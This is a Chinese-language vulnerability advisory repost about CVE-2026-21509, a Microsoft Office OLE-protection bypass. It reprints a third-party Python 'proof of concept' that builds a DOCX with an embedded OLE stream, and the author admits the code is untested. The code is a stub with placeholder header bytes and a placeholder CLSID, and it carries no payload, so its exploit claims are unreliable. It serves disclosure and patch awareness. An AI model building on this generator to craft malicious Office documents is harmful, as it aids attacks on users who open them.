2026-02-03 01:03:04 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文披露了CVE-2026-21509MicrosoftOffice安全功能绕过漏洞，攻击者可构造特制文档绕过不安全OLE对象的防护机制。该漏洞影响Office2016至365等版本且已被发现在野利用。文章附带了Python概念验证代码用于生成测试文档，但作者声明未实际验证，建议谨慎评估风险并及时应用补丁。 综合评分： 70 文章分类： 漏洞POC,漏洞分析,漏洞预警,办公安全

cover_image

CVE-2026-21509｜Microsoft Office安全功能绕过漏洞（POC）

alicy alicy

信安百科

2026年2月2日 09:02 河北

0x00 前言

Microsoft Office是微软开发的‌经典办公软件套装‌，核心组件包括Word、Excel、PowerPoint、OneNote和Outlook，广泛应用于文档处理、数据分析、演示文稿制作和日常办公。支持多平台Windows/macOS/iOS/Android，提供超过100种语言版本，拥有庞大的用户基础。

0x01 漏洞描述

Microsoft Office存在安全功能绕过漏洞，攻击者可利用此漏洞构造特制文档，以绕过Microsoft Office中用于防御不安全OLE对象的防护机制。攻击实施需诱使用户打开恶意Office文件，未经身份验证的攻击者可利用此漏洞发起攻击，该漏洞已被发现在野利用。

—— ——来源于网络

0x02 CVE编号

CVE-2026-21509

0x03 影响版本

Microsoft&nbsp;Office&nbsp;2016Microsoft&nbsp;Office&nbsp;2019Microsoft&nbsp;Office LTSC&nbsp;2021Microsoft&nbsp;Office LTSC&nbsp;2024Microsoft&nbsp;365&nbsp;Apps for Enterprise

0x04 漏洞详情

POC：

https://github.com/Ashwesker/Ashwesker-CVE-2026-21509

# CVE-2026-21509 PoC - Microsoft Office OLE Bypass (Conceptual)# Generates a DOCX with embedded OLE object to test security bypass# Requirements: pip install python-docx olefile# Author: Ashwesker ==> https://github.com/Ashwesker/Ashwesker-CVE-2026-21509# Run on any OS; open output file in vulnerable Office VM (pre-Jan 26, 2026 patch)
import&nbsp;argparsefrom&nbsp;docx&nbsp;import&nbsp;Documentfrom&nbsp;docx.oxml.ns&nbsp;import&nbsp;qnfrom&nbsp;docx.oxml&nbsp;import&nbsp;OxmlElementfrom&nbsp;docx.shared&nbsp;import&nbsp;Inchesimport&nbsp;olefileimport&nbsp;ioimport&nbsp;uuid
def&nbsp;create_malicious_docx(output_path, clsid="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B"):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Create DOCX with embedded OLE object.&nbsp; &nbsp; clsid: Placeholder for vulnerable COM CLSID (replace with real one from OleViewDotNet)&nbsp; &nbsp; """&nbsp; &nbsp; doc = Document()
&nbsp; &nbsp;&nbsp;# Add innocent text&nbsp; &nbsp; doc.add_paragraph("Test document for CVE-2026-21509 research. Open to check OLE handling.")
&nbsp; &nbsp;&nbsp;# Generate minimal OLE stream (header + CLSID)&nbsp; &nbsp; ole_stream = generate_ole_stream(clsid)
&nbsp; &nbsp;&nbsp;# Embed as OLE object&nbsp; &nbsp;&nbsp;# Use OpenXML to add embedded object&nbsp; &nbsp;&nbsp;# Note: python-docx doesn't directly support OLE, so we use low-level XML&nbsp; &nbsp; paragraph = doc.add_paragraph()&nbsp; &nbsp; run = paragraph.add_run()
&nbsp; &nbsp;&nbsp;# Create drawing element for embedded object&nbsp; &nbsp; drawing = OxmlElement('w:drawing')&nbsp; &nbsp; inline = OxmlElement('wp:inline')&nbsp; &nbsp; extent = OxmlElement('wp:extent')&nbsp; &nbsp; extent.set(qn('cx'),&nbsp;'1905000') &nbsp;# ~2 inches&nbsp; &nbsp; extent.set(qn('cy'),&nbsp;'1905000')&nbsp; &nbsp; inline.append(extent)
&nbsp; &nbsp; docPr = OxmlElement('wp:docPr')&nbsp; &nbsp; docPr.set('id',&nbsp;str(uuid.uuid4().int&nbsp;%&nbsp;2**31))&nbsp; &nbsp; docPr.set('name',&nbsp;'Embedded OLE')&nbsp; &nbsp; inline.append(docPr)
&nbsp; &nbsp; graphic = OxmlElement('a:graphic')&nbsp; &nbsp; graphic_data = OxmlElement('a:graphicData')&nbsp; &nbsp; graphic_data.set(qn('uri'),&nbsp;'http://schemas.openxmlformats.org/drawingml/2006/picture')
&nbsp; &nbsp;&nbsp;# Embed OLE as picture fallback (simplified; real OLE needs binary part)&nbsp; &nbsp; pic = OxmlElement('pic:pic')&nbsp; &nbsp; pic.set(qn('xmlns:pic'),&nbsp;'http://schemas.openxmlformats.org/drawingml/2006/picture')&nbsp; &nbsp;&nbsp;# ... (add blipFill, etc. for actual image fallback)
&nbsp; &nbsp; graphic_data.append(pic)&nbsp; &nbsp; graphic.append(graphic_data)&nbsp; &nbsp; inline.append(graphic)&nbsp; &nbsp; drawing.append(inline)&nbsp; &nbsp; run._r.append(drawing)
&nbsp; &nbsp;&nbsp;# Add OLE binary part (alternative format import)&nbsp; &nbsp;&nbsp;# python-docx doesn't support directly; use olefile to create .bin&nbsp; &nbsp; ole_bin_path =&nbsp;"embedded_ole.bin"&nbsp; &nbsp;&nbsp;with&nbsp;open(ole_bin_path,&nbsp;'wb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; f.write(ole_stream)
&nbsp; &nbsp;&nbsp;print(f"OLE binary saved as&nbsp;{ole_bin_path}&nbsp;(embed manually in DOCX if needed via tools like oletools)")
&nbsp; &nbsp; doc.save(output_path)&nbsp; &nbsp;&nbsp;print(f"Generated malicious DOCX:&nbsp;{output_path}")&nbsp; &nbsp;&nbsp;print("Open in vulnerable Office (pre-patch) to test bypass. Use isolated VM!")
def&nbsp;generate_ole_stream(clsid_str):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Generate basic OLE1 stream: header + CLSID&nbsp; &nbsp; Real exploit would include malicious binary/shellcode trigger&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; clsid = uuid.UUID(clsid_str)&nbsp; &nbsp; &nbsp; &nbsp; clsid_bytes = clsid.bytes_le &nbsp;# Little-endian for OLE&nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; clsid_bytes =&nbsp;b'\x00'&nbsp;*&nbsp;16&nbsp;&nbsp;# Fallback
&nbsp; &nbsp;&nbsp;# Minimal OLE header (version 1.0, etc.)&nbsp; &nbsp; header = (&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b'\x01\x05\x00\x00'&nbsp;&nbsp;# Format ID&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b'\x02\x00\x00\x00'&nbsp;&nbsp;# OLE version&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b'\x0C\x00\x00\x00'&nbsp;&nbsp;# Some flags&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# More headers...&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;# Append CLSID&nbsp; &nbsp; payload = header + clsid_bytes
&nbsp; &nbsp;&nbsp;# Pad or add dummy data (extend for real payload)&nbsp; &nbsp; payload +=&nbsp;b'\x00'&nbsp;* (512&nbsp;-&nbsp;len(payload)) &nbsp;# Rough padding
&nbsp; &nbsp;&nbsp;return&nbsp;payload
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; parser = argparse.ArgumentParser(description="CVE-2026-21509 PoC - OLE Embed in DOCX")&nbsp; &nbsp; parser.add_argument("--output", default="CVE-2026-21509_Test.docx",&nbsp;help="Output DOCX path")&nbsp; &nbsp; parser.add_argument("--clsid", default="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B",&nbsp;help="COM CLSID to embed")
&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp; create_malicious_docx(args.output, args.clsid)

POC没做测试，酌情使用！！！

0x05 参考链接

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509